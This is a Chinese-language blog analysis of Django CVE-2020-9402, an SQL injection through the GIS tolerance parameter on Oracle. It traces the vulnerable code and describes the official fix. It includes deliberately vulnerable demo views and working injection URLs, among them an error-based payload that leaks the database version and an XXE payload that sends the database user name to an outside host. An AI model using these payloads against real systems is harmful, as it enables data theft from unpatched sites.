Django CVE-2020-9402 Geo SQL注入分析

2020-03-23 约 276 字 预计阅读 2 分钟

声明:本文 【Django CVE-2020-9402 Geo SQL注入分析】 由作者 christa 于 2020-03-23 09:53:07 首发 先知社区 曾经 浏览数 224 次

感谢 christa 的辛苦付出!

0x00前言
又迎来Django一个sql注入的命令执行,因此来分析分析。

CVE-2020-9402: Potential SQL injection via tolerance parameter in GIS functions and aggregates on Oracle 
GIS functions and aggregates on Oracle were subject to SQL injection, using a suitably crafted tolerance.

0x01GIS
根据官网的修复https://github.com/django/django/commit/6695d29b1c1ce979725816295a26ecc64ae0e927#diff-229e38ececbfc591f7a5e595bf5707c4,可以看到问题出在GIS的查询上面

官方只修复了这两个位置,可以发现基本上是对于tolerance参数进行判断是否为数字。那首先来了解一下GIS查询。

GIS查询API是一个地理位置的查询API,提供用户存储精确GPS的位置的数据模块,属于一个空间数据库,我们可以通过如下的经纬度信息

pnt = GEOSGeometry('POINT(-96.876369 29.905320)', srid=4326)

>>>SRID=4326;POINT (-96.876369 29.90532)

来获得一个具体的定位信息,通过如下的模块来构建一个基本的地理信息存储

from django.contrib.gis.db import models
class Names(models.Model):
    name = models.CharField(max_length=128)

    def __str__(self):
        return self.name

class Interstate(Names):
    path = models.LineStringField()

后台存储的时候发出path的信息为json数据,例如

{"type":"LineString","coordinates":[[-8167.236601807093,-3286.248045708844],[-7896.285624495958,-3324.9553281818644],[1083.8039092445451,-654.1528375435246]]}

我们就获得了一个基本的地理位置数据,同理,通过构造一个聚合的查询方法

def vuln(request):
    q = request.GET.get('q')
    qs=Interstate.objects.annotate(
            d=Distance(
                Point(-0.0733675346842369, -0.0295208671625432, srid=4326),
                Point(0.009735976166628611, -0.00587635491086091, srid=4326),
                tolerance = q, # default 0.05
            ),
        ).filter(d=D(m=1)).values('name')

因为官网文档找不到如何构造Point查询,因此为了省事,直接写死了Point数值。。srid为空间参考的投影设置,默认值为4326。其中tolerance是对于oracle特殊存在的一个键值,其作用是基本你的容错率,详细的信息可以参考oracle官方文档。对应的查询语句为

SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) =  1.0 FETCH FIRST 21 ROWS ONLY;

0x02代码分析
首先从传入一个url

http://127.0.0.1:8000/vuln/?q=20) = 1 OR 1=1 OR (1%2B1

annotate聚合函数开始跟进,同普通的model函数查询一样,gis查询虽然拥有着单独的model模块,但依旧还是依靠着普通model中进行过滤和查询。从gis的model文件夹中的__init__.py文件中看

主要的查询依然调用的是django最基本的db方法,而其中单独定义了function方法等一些对地理位置插叙独特的方法。程序运行到/django/db/models/manager.py文件中的_get_queryset_methods后,获取到tolerant参数之后便直接进入到gis模块中进行查询

继而进入到django/contrib/gis/measure.py文件中的MeasureBase类中进行方法调用,那么后面的方法分析可以跳过,因此直接来到漏洞代码段。先来看gis API中的functions函数,在as_oracle方法这一段

def as_oracle(self, compiler, connection, **extra_context):
    tol = self.extra.get('tolerance', self.tolerance)
    return self.as_sql(
        compiler, connection,
        template="%%(function)s(%%(expressions)s, %s)" % tol,
        **extra_context
    )

tolerance 从self.extra.get导入,该方法会搜索全局变量的值,如果该值不存在,则直接设置为0.05,并且将其直接传入到新的变量中。之后则不对tol进行任何处理直接拼接到template字符串中并且传入as_sql方法。那么官方对于as_sql的文档是,此方法需要一个SQLCompiler对象,位于django/db/models/sql/compiler.py文件中。而我们只需要知道在该对象中有一个compile()方法,该方法可以返回一个包含SQL字符串的元祖,而SQLComiler对象中的query变量则是存储直接进行SQL查询语句的SQL命令。从而两个Point分别进入compile方法中进行拼接

不知道为什么,用pycharm在as_oracle下断点的时候,第一次到达SQLCompiler的时候,pycharm不会在as_oracle函数中停下来,而是在第二次查询的时候才会停,但是经过测试确实是在进入SQLCompiler之前调用过as_orcle函数,可能是pycharm没有正确识别重载函数吧。之后template构造模版也因此进入到expression.py中的as_sql函数中进行字符串构造

因此最后进入oracle的命令语句是

SELECT "APP_NAMEDMODEL"."NAME" FROM "APP_INTERSTATE" INNER JOIN "APP_NAMEDMODEL" ON ("APP_INTERSTATE"."NAMEDMODEL_PTR_ID" = "APP_NAMEDMODEL"."ID") WHERE SDO_GEOM.SDO_DISTANCE(SDO_GEOMETRY(POINT (-0.0733675346842369 -0.0295208671625432),4326), SDO_GEOMETRY(POINT (0.009735976166628611 -0.00587635491086091),4326), 0.05) = 1 OR 1=1  OR (1+1) = 1.0 FETCH FIRST 21 ROWS ONLY;

带入数据库中查询

官方修复的方法就是加入Value函数,判断传入的值是否为数字,否的话直接报错推出。那么第二个注入点就是Union了,建立Model

class City(Names):
    point = models.PointField()  # 点模块

编辑传入的参数为

{"type":"Point","coordinates":[13250.226757682816,68815.69380603009]}

view中设置查询

from django.contrib.gis.db.models import Union
def vuln2(request):
    q = request.GET.get('q')
    res = City.objects.aggregate(
            Union('point', tolerance=q),
    )
    return HttpResponse(res)

输入url

http://127.0.0.1:8000/vuln2?q=0.05)))%2C%20(((1

首先看结果,得到的SQL查询语句为

SELECT SDO_UTIL.TO_WKBGEOMETRY(SDO_AGGR_UNION(SDOAGGRTYPE("APP_CITY"."POINT",0.05))), (((1))) AS "POINT__UNION" FROM "APP_CITY";

该aggregate查询方法是GIS查询特定的一种查询方法,为的是与地理查询的语句做适配,用法跟原模块的方法类似。因此跟进GIS模块中的聚合查询方法,位于django/contrib/gis/db/models/aggregates.py文件内的as_oracle方法。

同样tolerance没有做任何检查直接传入了template模版语句中,原理与上面annotate查询过程一致。利用有大致两个方法
报错注入

http://localhost:8000/test/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v%24instance)) from dual) is null%20 OR (1%2B1

CVE-2014-6577
因为Django自2.0以后支持的oracle版本为12以上,因此可以尝试oracle XXE来进行SQL的注入。同时因为在SQL处理的过程中有三次利用%的模版跳转,因此需要在XMLpayload中的%替换为%%%%,payload为

http://localhost:8000/test/?q=20) = 1 OR (select%20extractvalue(xmltype('%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%3C!DOCTYPE%20root%20%5B%20%3C!ENTITY%20%25%25%25%25%20remote%20SYSTEM%20%22http%3A%2F%2Fdocker.for.mac.host.internal%3A9000%2F'%7C%7C(SELECT%20user%20from%20dual)%7C%7C'%22%3E%20%25%25%25%25remote%3B%5D%3E')%2C'%2Fl')%20from%20dual)%20is%20not%20null OR (1%2B1

命令执的话因为是docker起的oracle所以没有设置JAVA的环境,暂时也不能判定有没有,以后再研究看看。

0xFF Reference

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now